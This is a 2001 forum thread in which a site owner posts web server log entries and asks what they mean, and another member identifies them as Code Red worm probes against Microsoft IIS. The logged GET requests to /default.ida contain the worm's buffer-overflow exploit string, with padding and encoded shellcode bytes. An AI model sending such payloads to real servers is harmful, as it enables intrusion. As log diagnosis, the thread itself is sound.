web logs

[marty1101]

My first time examing the log files........

In logs_web/error:

[Wed Aug 8 11:20:33 2001] [error] [client 63.151.178.30] File does not exist: /big/dom/xhellomarty/www/default.ida

In logs_web/access.* :

63.196.84.172 - - [09/Aug/2001:05:33:33 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801 %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u819 0%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 1400 "-" "-"

66.74.213.249 - - [01/Aug/2001:10:36:43 -0400] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801 %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u819 0%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 333 "-" "-"

What are they trying to do? These requrests come from many different IP addresses, everyday since 8/1/01.

:confused: :confused: :confused:

[janderk]

That's the infamous Code Red worn checking out if you are hosted on a gamestation ( or was it Microsoft IIS :P ). Just ignore them, because FutureQuest runs on Linux and is probably the savest place to be.

Jan Derk

[marty1101]

Oh! a virus? I seem to see it on CNBC a couple days ago. Thanks, Jan. 8}